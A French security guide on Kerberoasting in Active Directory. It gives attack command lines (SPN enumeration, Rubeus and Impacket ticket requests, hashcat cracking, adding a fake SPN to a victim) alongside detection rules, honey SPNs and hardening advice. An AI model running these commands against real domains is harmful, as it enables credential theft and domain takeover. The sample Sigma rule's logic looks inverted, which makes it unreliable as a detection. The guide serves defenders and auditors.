Kerberoasting 2026 : Attaque, Détection et Défense AD

Le Kerberoasting reste en 2026 l'une des attaques Active Directory les plus rentables et les plus discrètes pour un attaquant ayant obtenu un premier point d'ancrage dans le domaine. Publié pour la première fois en 2014 par Tim Medin lors de la conférence DerbyCon, ce vecteur exploite une caractéristique fondamentale du protocole Kerberos : n'importe quel utilisateur authentifié peut demander un ticket de service (TGS-REP) pour n'importe quel compte disposant d'un SPN, et ce ticket est chiffré avec une clé dérivée du mot de passe du compte de service. Un attaquant peut donc collecter en quelques secondes des dizaines de tickets, puis les cracker hors-ligne sur sa propre infrastructure de calcul, sans générer de tentatives d'authentification visibles. Ce guide expert décortique l'attaque pas à pas avec Rubeus et Impacket, présente les variantes 2026 (Targeted Kerberoasting, S4U Roasting), détaille les règles SIEM de détection et propose une stratégie de défense en profondeur opérationnelle pour SOC et équipes AD.

1. Rappels Kerberos : pourquoi le Kerberoasting fonctionne

Comprendre le Kerberoasting nécessite de revoir les bases du protocole Kerberos v5 défini par la RFC 4120 et son implémentation Microsoft documentée dans la spécification MS-KILE.

Kerberos repose sur un échange en deux temps. Premier temps : l'utilisateur s'authentifie auprès du Key Distribution Center (KDC) hébergé sur le contrôleur de domaine via un AS-REQ et reçoit en retour un Ticket Granting Ticket (TGT) chiffré avec la clé du compte krbtgt. Deuxième temps : pour accéder à un service (SQL, SMB, HTTP), l'utilisateur présente son TGT au KDC dans un TGS-REQ en précisant le SPN ciblé, et obtient un Ticket Granting Service (TGS-REP) chiffré avec la clé du compte de service propriétaire du SPN. C'est ce dernier ticket qui est la cible du Kerberoasting.

1.1 Le rôle des SPN (Service Principal Names)

Un Service Principal Name (SPN) est un identifiant Kerberos associant un service réseau à un compte AD. Les SPN ont la forme service/host:port, par exemple MSSQLSvc/sqlsrv01.corp.local:1433 ou HTTP/intranet.corp.local. Tout utilisateur authentifié peut interroger l'AD via LDAP pour énumérer les comptes ayant un SPN défini sur l'attribut servicePrincipalName. Ces comptes sont souvent des comptes de service avec des mots de passe rarement changés et parfois faibles.

1.2 La faille conceptuelle exploitée

Trois choix de conception rendent l'attaque possible :

• Pas de pre-authentication requise pour TGS-REQ — Le KDC ne vérifie pas que l'utilisateur a réellement besoin du ticket : si le TGT est valide, le TGS est délivré.
• Chiffrement avec la clé long-terme du service — Le TGS-REP contient une partie chiffrée avec une clé dérivée du mot de passe du compte de service, donc brute-forçable hors-ligne.
• Algorithmes faibles supportés — Par défaut, Windows accepte encore RC4-HMAC (etype 23), considérablement plus rapide à casser que AES256.

2. Étape par étape : déroulement de l'attaque

Le Kerberoasting suit une chaîne d'attaque en quatre phases. Nous prenons comme contexte un attaquant disposant déjà d'un compte utilisateur standard sur le domaine, par exemple obtenu via phishing ou via la compromission d'un poste de travail.

2.1 Phase 1 — Énumération des SPN

L'attaquant interroge l'AD pour identifier les comptes de service. Cette requête LDAP est anodine et passe inaperçue dans 99% des environnements.

# Énumération via PowerShell natif (sans outil offensif)
Get-ADUser -Filter {servicePrincipalName -ne "$null"} -Properties servicePrincipalName,memberOf,pwdLastSet,lastLogon | Select-Object SamAccountName,servicePrincipalName,memberOf,pwdLastSet | Format-Table -AutoSize

# Via setspn natif
setspn.exe -T corp.local -Q */*

# Via Rubeus en mode discovery (plus discret)
Rubeus.exe kerberoast /stats

L'attaquant identifie typiquement entre 5 et 50 comptes de service dans un AD moyen, avec une concentration sur les comptes svc_sql, svc_iis, svc_backup, svc_app*. Les comptes les plus intéressants sont ceux membres de groupes privilégiés (Domain Admins, Server Operators) — c'est le cas dans environ 15% des AD non durcis selon les rapports terrain.

2.2 Phase 2 — Demande des tickets TGS-REP

Pour chaque SPN identifié, l'attaquant demande un TGS-REP au KDC. Cette opération est strictement légitime du point de vue Kerberos : c'est exactement ce qu'un client SQL ou un browser fait pour s'authentifier au service.

# Via Impacket GetUserSPNs.py depuis Linux
GetUserSPNs.py -request -dc-ip 10.10.10.10 corp.local/jdoe:Password123 -outputfile hashes.txt

# Via Rubeus depuis Windows compromis
Rubeus.exe kerberoast /outfile:hashes.txt /nowrap

# Cibler un seul SPN précis
Rubeus.exe kerberoast /user:svc_sql_prod /outfile:svc_sql.hash

Le résultat est une chaîne au format Hashcat mode 13100 (Kerberos 5 TGS-REP etype 23) ou 19700 (etype 18 AES256) :

$krb5tgs$23$*svc_sql_prod$corp.local$MSSQLSvc/sqlsrv01.corp.local:1433*$a1b2c3...

2.3 Phase 3 — Cracking hors-ligne

L'attaquant exfiltre les hashes vers son infrastructure de calcul (GPU local, AWS spot, rig dédié) et lance Hashcat ou John the Ripper.

# Hashcat RC4-HMAC (mode 13100) — très rapide
hashcat -m 13100 -a 0 hashes.txt rockyou.txt --rules=OneRuleToRuleThemAll.rule

# Hashcat AES256 (mode 19700) — plus lent mais possible
hashcat -m 19700 -a 0 hashes_aes.txt rockyou.txt

# John the Ripper avec wordlist + rules
john --wordlist=rockyou.txt --rules=Jumbo --format=krb5tgs hashes.txt

Performance typique sur une RTX 4090 en 2026 : 1,8 milliard de hashes/seconde pour RC4-HMAC, 230 millions/seconde pour AES256. Un mot de passe de 8 caractères avec complexité Windows tombe en quelques heures ; un mot de passe de 12 caractères aléatoires demande plusieurs années. Les passphrases courtes (3-4 mots de dictionnaire) tombent en moins d'une heure avec une bonne wordlist.

2.4 Phase 4 — Utilisation du compte compromis

Une fois le mot de passe en clair, l'attaquant peut s'authentifier avec le compte de service. Les conséquences dépendent des privilèges :

• Compte SQL admin — Lecture/écriture de toutes les bases, exécution xp_cmdshell pour shell système.
• Compte de service applicatif — Accès aux serveurs hébergeant l'application, pivoting interne.
• Compte membre de Domain Admins — Compromission totale du domaine, DCSync, Golden Ticket.
• Compte avec ACL d'écriture — Modification d'objets AD (ajout dans un groupe, reset de mot de passe).

3. Variantes modernes du Kerberoasting

L'attaque a évolué depuis 2014 et plusieurs variantes méritent d'être maîtrisées par les défenseurs en 2026.

3.1 Targeted Kerberoasting

Le Targeted Kerberoasting ne nécessite pas que le compte cible ait déjà un SPN. L'attaquant qui dispose d'une ACL WriteProperty sur l'attribut servicePrincipalName d'une victime peut lui ajouter un SPN factice, demander le TGS-REP, puis retirer le SPN. Cette technique permet de cibler n'importe quel utilisateur dont on contrôle les ACL, y compris les administrateurs.

# Ajout d'un SPN factice sur une victime
Set-DomainObject -Identity victim_admin -Set @{serviceprincipalname='fake/spn.lab'}

# Kerberoasting de ce compte
Rubeus.exe kerberoast /user:victim_admin /nowrap

# Nettoyage
Set-DomainObject -Identity victim_admin -Clear serviceprincipalname

3.2 Sans pré-authentification : AS-REP Roasting

L'AS-REP Roasting est une attaque cousine qui exploite les comptes avec DONT_REQ_PREAUTH. Ces comptes renvoient un AS-REP non chiffré côté KDC, exploitable de manière analogue. La défense est triviale : ne jamais désactiver la pré-authentification Kerberos.

3.3 S4U Roasting

Récemment décrit par Charlie Clark, le S4U2self Roasting exploite l'extension Kerberos S4U2self pour générer des tickets sur n'importe quel utilisateur si l'attaquant compromet un compte avec un SPN. Cette technique de 2022 permet de générer des TGS sur des administrateurs sans avoir besoin d'ACL particulière, élargissant considérablement la surface d'attaque.

3.4 Downgrade RC4 forcé

Par défaut, Rubeus demande un TGS RC4-HMAC même si AES256 est disponible, car les types de chiffrement supportés sont annoncés par le client. Cette technique de downgrade permet de cracker 8 fois plus vite. La défense consiste à imposer AES via la politique DefaultEncryptionType ou la GPO Network security: Configure encryption types allowed for Kerberos.

4. Outils offensifs 2026

Trois familles d'outils dominent le Kerberoasting en 2026.

4.1 Rubeus (Windows .NET)

Développé par Will Schroeder et Lee Christensen, Rubeus est l'outil de référence pour les opérations Kerberos sous Windows. Il supporte le Kerberoasting, AS-REP Roasting, Pass-the-Ticket, Overpass-the-Hash, S4U et la délégation contrainte. Sa version 2.4 (2026) ajoute le support des comptes gMSA et l'évasion des derniers signatures EDR.

# Kerberoasting avec filtres avancés
Rubeus.exe kerberoast /outfile:hashes.txt /aes /rc4opsec /usermask:"svc_*" /nowrap

# Discovery mode (énumération sans demande de ticket)
Rubeus.exe kerberoast /stats

# Cible domaine externe via trust
Rubeus.exe kerberoast /domain:external.corp /dc:dc01.external.corp

4.2 Impacket GetUserSPNs.py (Linux)

La suite Impacket de SecureAuth offre l'équivalent Linux. GetUserSPNs.py est utilisé depuis une machine de pentest sans nécessiter de compromission d'un poste Windows.

# Sans credentials initiaux (anonymous bind si autorisé)
GetUserSPNs.py corp.local/ -no-pass -dc-ip 10.10.10.10

# Avec credentials
GetUserSPNs.py corp.local/jdoe:Password123 -request -dc-ip 10.10.10.10 -outputfile out.txt

# Targeted (avec ACL d'écriture)
GetUserSPNs.py corp.local/jdoe:Password123 -request-user target_admin -dc-ip 10.10.10.10

4.3 Kerbrute (Go)

Kerbrute est un outil Go développé par Ronnie Flathers, spécialisé dans l'énumération et le brute-force Kerberos. Il sert souvent en amont du Kerberoasting pour valider des noms d'utilisateurs sans générer d'événements 4625 (échec NTLM) côté DC.

5. Détection côté SOC : règles SIEM et événements clés

La détection du Kerberoasting repose sur deux familles d'événements Windows : 4769 (Kerberos Service Ticket Requested) et 4768 (Kerberos TGT Requested). Une bonne stratégie de détection combine seuils, anomalies de fréquence et corrélations.

5.1 Événement 4769 — la clé de voûte

L'événement 4769 est émis par chaque DC à chaque émission de TGS-REP. Les champs critiques sont :

5.2 Règle SIEM Sigma — Kerberoasting massif

title: Suspicious Kerberos TGS Mass Request (Possible Kerberoasting)
id: 8a4e7c33-2026-aaaa-bbbb-xxxxxxxxxxxx
status: stable
description: Detects a single user requesting TGS for many SPNs in a short window
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    ServiceName|endswith:
      - '$'  # exclude machine accounts as service
  filter:
    TicketEncryptionType: '0x12'  # AES256 expected
  condition: selection and not filter
  timeframe: 5m
  aggregation:
    count(ServiceName) by SubjectUserName: '>= 15'
level: high

5.3 Honey SPN — détection par leurre

Une technique défensive très efficace consiste à créer un compte de service leurre (honey SPN) avec un SPN attractif (MSSQLSvc/sql-finance.corp.local) et un mot de passe de 64 caractères aléatoires. Tout TGS-REP demandé pour ce compte par un utilisateur quelconque est un signal clair d'énumération malveillante. Cette approche, recommandée par Microsoft Defender for Identity et inspirée de Sean Metcalf (ADSecurity), génère zéro faux positif et une alerte critique immédiate.

# Création d'un Honey SPN
$pass = ConvertTo-SecureString (-join ((33..126) | Get-Random -Count 64 | %{[char]$_})) -AsPlainText -Force
New-ADUser -Name "svc_honey_sql" -AccountPassword $pass -Enabled $true -ServicePrincipalNames "MSSQLSvc/sql-finance.corp.local:1433"

# Audit explicite via auditpol
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable

6. Stratégie de défense en profondeur

La défense contre le Kerberoasting repose sur cinq piliers complémentaires. Aucun pilier seul n'est suffisant ; c'est la combinaison qui rend l'attaque non rentable.

6.1 Comptes de service avec mots de passe forts

Tous les comptes avec SPN doivent avoir un mot de passe d'au moins 32 caractères aléatoires. Pour un mot de passe de 14 caractères alphanumériques complexes, le coût de cracking dépasse 100 ans-GPU même avec RC4-HMAC. La meilleure pratique consiste à utiliser des Group Managed Service Accounts (gMSA) qui génèrent automatiquement un mot de passe de 240 caractères tournant tous les 30 jours.

# Création d'un gMSA
Add-KdsRootKey -EffectiveTime ((Get-Date).AddHours(-10))
New-ADServiceAccount -Name svc_sql_gmsa -DNSHostName sqlsrv01.corp.local -PrincipalsAllowedToRetrieveManagedPassword "SQLServers"

# Installation sur le serveur cible
Install-ADServiceAccount -Identity svc_sql_gmsa

6.2 Désactivation de RC4

RC4-HMAC est l'algorithme cible des attaquants car il offre des performances de cracking 8 fois supérieures à AES256. Microsoft a annoncé sa dépréciation en 2024 et son retrait progressif. La GPO Configure encryption types allowed for Kerberos permet d'autoriser uniquement AES128_HMAC_SHA1, AES256_HMAC_SHA1 et Future encryption types.

Attention : la désactivation brutale de RC4 sans audit préalable casse les applications utilisant des comptes non migrés. Procéder par phases :

1. Audit : journaliser les 4768/4769 avec etype 0x17 pendant 30 jours.
2. Régénération : reset des mots de passe des comptes legacy pour forcer AES.
3. Pilote : restreindre RC4 sur 10% des comptes, surveiller pendant 2 semaines.
4. Généralisation : GPO domaine, RC4 interdit.

6.3 Politique de SPN minimale

Auditer trimestriellement les SPN avec setspn.exe -T domain -Q */* et supprimer les SPN orphelins. Limiter les SPN aux comptes de service techniques : aucun compte humain (autre qu'admin) ne doit avoir de SPN. Cette hygiène réduit la surface d'attaque et facilite la détection des Targeted Kerberoasting.

6.4 Tiering AD et Protected Users

L'application stricte du modèle de tiering AD isole les comptes Tier 0 (admins du domaine) des Tier 1 (admins serveurs) et Tier 2 (admins postes). Les comptes de service Tier 0 doivent être placés dans le groupe Protected Users, qui désactive RC4 et limite la délégation, et marqués Account is sensitive and cannot be delegated.

6.5 Détection comportementale via EDR/XDR

Les EDR modernes (Microsoft Defender for Identity, CrowdStrike Falcon, SentinelOne) corrèlent les 4769 avec les processus initiateurs et détectent des outils comme Rubeus ou Impacket via signatures et heuristiques (LSASS access patterns, anomalies de timing). Activer la collecte des journaux DC et des télémétries client est indispensable.

7. Cas d'étude réel : compromission par Kerberoasting

L'incident suivant, anonymisé à partir d'une mission de réponse à incident en 2025, illustre comment un Kerberoasting peut mener à la compromission totale d'un domaine en moins de 4 heures.

7.1 Timeline

T+00h00 : Phishing ciblé sur user.finance@victim.fr
          Macro Excel exécute un loader Cobalt Strike
T+00h45 : Reconnaissance interne (Get-DomainComputer, Get-DomainUser)
T+01h05 : Énumération SPN via Rubeus.exe kerberoast /stats
          22 comptes de service identifiés dont 3 dans Domain Admins
T+01h12 : Rubeus.exe kerberoast /outfile:k.txt /rc4opsec
          22 hashes RC4 exfiltrés via DNS
T+01h45 : Cracking sur cluster cloud (8x A100)
          Mot de passe svc_backup cassé en 32 minutes (8 chars, dictionnaire)
T+02h30 : Authentification svc_backup → Domain Admins
T+03h15 : DCSync via Mimikatz, extraction krbtgt
T+03h45 : Golden Ticket forgé, persistance permanente
T+04h00 : Préparation déploiement ransomware

7.2 Leçons retenues

L'analyse post-incident a révélé trois carences majeures : 1) le compte svc_backup avait un mot de passe de 8 caractères jamais changé depuis 2018 ; 2) la GPO n'imposait pas AES, le RC4 restait actif ; 3) aucune règle SIEM ne déclenchait sur les 4769 massifs. La remédiation a consisté à migrer 100% des comptes de service en gMSA, à désactiver RC4 et à déployer Defender for Identity avec règles Kerberoasting actives.

8. Audit Kerberoasting : checklist pour RSSI

Un audit Kerberoasting peut être conduit en moins d'une journée par un consultant qualifié. Voici la checklist minimale.

8.1 Inventaire des SPN

• Lister tous les comptes utilisateur avec servicePrincipalName non vide.
• Identifier les comptes membres de groupes privilégiés (Domain Admins, Enterprise Admins, Schema Admins, Server Operators).
• Repérer les SPN orphelins (services désactivés ou supprimés).
• Calculer l'âge moyen des mots de passe des comptes avec SPN.

8.2 Test offensif contrôlé

# Depuis poste d'audit autorisé
GetUserSPNs.py corp.local/audit_user:AuditPwd -request -dc-ip 10.10.10.10 -outputfile audit_hashes.txt

# Tentative de cracking limitée
hashcat -m 13100 -a 0 audit_hashes.txt /usr/share/wordlists/rockyou.txt --rules=Top10K --runtime=3600

# Reporting
echo "Comptes cassés en 1h : $(wc -l < cracked.txt)"

8.3 Vérifications GPO

• GPO Network security: Configure encryption types allowed for Kerberos exclut RC4.
• Politique de mot de passe pour comptes de service ≥ 25 caractères ou gMSA.
• Audit Kerberos Service Ticket Operations activé sur tous les DC.
• Comptes Tier 0 dans le groupe Protected Users.

9. Kerberoasting et autres attaques AD : positionnement

Le Kerberoasting n'est qu'une brique dans le paysage des attaques AD. Le positionner par rapport aux autres techniques aide à prioriser les défenses.

Le Kerberoasting est souvent le maillon qui transforme un accès initial limité en compromission totale via une chaîne Kerberoasting → Service Admin → DCSync → Golden Ticket. C'est pourquoi sa défense doit être prioritaire dans toute roadmap de durcissement AD. Pour aller plus loin, consulter notre article Pass-the-Hash : attaque NTLM Active Directory.

10. Kerberoasting en environnement hybride et Entra ID

L'adoption massive d'Entra ID (anciennement Azure AD) et des architectures hybrides modifie partiellement le paysage. Trois enseignements pour 2026 :

10.1 Entra ID ne supprime pas le risque

La plupart des organisations conservent un AD on-prem synchronisé via Entra Connect. Les comptes de service AD restent vulnérables au Kerberoasting traditionnel. Le serveur Entra Connect lui-même utilise des comptes AD avec SPN qui, s'ils sont compromis, exposent le hash de krbtgt et permettent un Golden Ticket cloud-on-prem.

10.2 Tokens OAuth ne sont pas Kerberos

Les ressources cloud-natives accessibles via Entra ID utilisent des tokens OAuth/OIDC et non Kerberos. Elles ne sont donc pas directement vulnérables au Kerberoasting. En revanche, le compte synchronisé peut être ciblé par d'autres techniques (Token Theft, Pass-the-PRT) qui dépassent le cadre de cet article.

10.3 Azure AD Domain Services

Le service Microsoft Azure AD Domain Services (DS managé) propose un domaine AD compatible Kerberos dans Azure. Il est tout aussi vulnérable au Kerberoasting que l'AD on-prem, avec en plus l'impossibilité de modifier finement les politiques de chiffrement Kerberos. Les comptes de service y nécessitent donc une vigilance encore accrue.

FAQ

Faut-il être administrateur pour faire du Kerberoasting ?

Non, c'est précisément ce qui rend cette attaque si dangereuse. N'importe quel utilisateur authentifié sur le domaine (y compris un compte stagiaire ou un compte de service à privilèges réduits) peut énumérer les SPN et demander les tickets TGS-REP. Aucune élévation de privilèges n'est requise au préalable. C'est pour cela que le Kerberoasting est typiquement utilisé en début de chaîne d'attaque, juste après l'accès initial.

Combien de temps faut-il pour cracker un hash Kerberos ?

Cela dépend exclusivement de la complexité du mot de passe et de l'algorithme. Sur une RTX 4090 en 2026, un mot de passe RC4 de 8 caractères alphanumériques complexe tombe en 4 à 12 heures avec une bonne wordlist. Un mot de passe de 12 caractères tient plusieurs années. Un mot de passe de 16+ caractères aléatoires est impossible à craquer en temps utile. Pour AES256, ajouter un facteur 8 sur ces durées.

Le Kerberoasting fonctionne-t-il sur les contrôleurs de domaine en lecture seule (RODC) ?

Oui mais avec des limites. Un RODC ne stocke pas les hashes du compte krbtgt principal ; il dispose d'une clé krbtgt dédiée et de comptes spécifiquement répliqués. Si le RODC est compromis, l'impact est plus limité qu'un DC principal, mais le Kerberoasting reste possible sur les comptes répliqués vers le RODC. La défense passe par la liste de réplication (PRP) et la limitation des comptes répliqués.

Quelles différences entre Kerberoasting et Silver Ticket ?

Le Kerberoasting consiste à demander un TGS-REP légitime et à cracker le hash hors-ligne pour récupérer le mot de passe. Le Silver Ticket consiste à forger un TGS-REP en utilisant un hash de compte de service déjà compromis, sans interaction avec le KDC. Les deux attaques ciblent les comptes de service mais à des phases différentes : Kerberoasting pour obtenir le secret, Silver Ticket pour l'utiliser ensuite de manière furtive.

Comment expliquer le Kerberoasting à un dirigeant non technique ?

Une analogie efficace : imaginez que pour entrer dans n'importe quelle salle du bâtiment, vous deviez présenter un coffret cadenassé avec la signature du propriétaire de la salle. Le Kerberoasting consiste à demander poliment ces coffrets pour tous les bureaux, les ramener chez soi tranquillement, et passer plusieurs jours à essayer des combinaisons pour ouvrir les cadenas. Une fois ouverts, on entre dans les bureaux quand on veut, sans alerter le concierge.

Les Group Managed Service Accounts (gMSA) sont-ils 100% sûrs contre le Kerberoasting ?

Quasiment. Un gMSA génère un mot de passe de 240 octets aléatoires tournant automatiquement tous les 30 jours par défaut. Le cracking de ce hash est mathématiquement infaisable même avec toute la puissance de calcul mondiale. La seule attaque résiduelle concerne le Golden gMSA qui nécessite la compromission de la KDS Root Key, donc un Domain Admin déjà compromis. En pratique, migrer 100% des comptes de service vers gMSA neutralise quasi totalement le Kerberoasting.

Conclusion & Pour approfondir

Le Kerberoasting reste en 2026 l'une des attaques Active Directory les plus rentables pour les attaquants et l'un des points faibles les mieux documentés des défenses AD. Sa faille n'est pas un bug Kerberos mais une combinaison de mauvaises pratiques accumulées au fil des ans : mots de passe faibles sur comptes de service, RC4 maintenu pour compatibilité, SPN sur comptes humains, absence de surveillance 4769. La bonne nouvelle est que les contre-mesures sont connues, documentées et applicables progressivement : migration gMSA, désactivation RC4, audit SPN, détection comportementale et tiering. Une organisation qui met en œuvre ces cinq mesures de manière disciplinée rend le Kerberoasting économiquement non viable pour l'attaquant.

• Kerberoasting attaque et défense (version courte) — guide synthétique
• Pass-the-Hash : attaque NTLM Active Directory — vecteur complémentaire
• Golden Ticket attaque Kerberos persistance AD — suite logique du Kerberoasting
• Guide tiering model Active Directory — défense en profondeur
• BloodHound attack paths Active Directory — cartographier les chemins d'attaque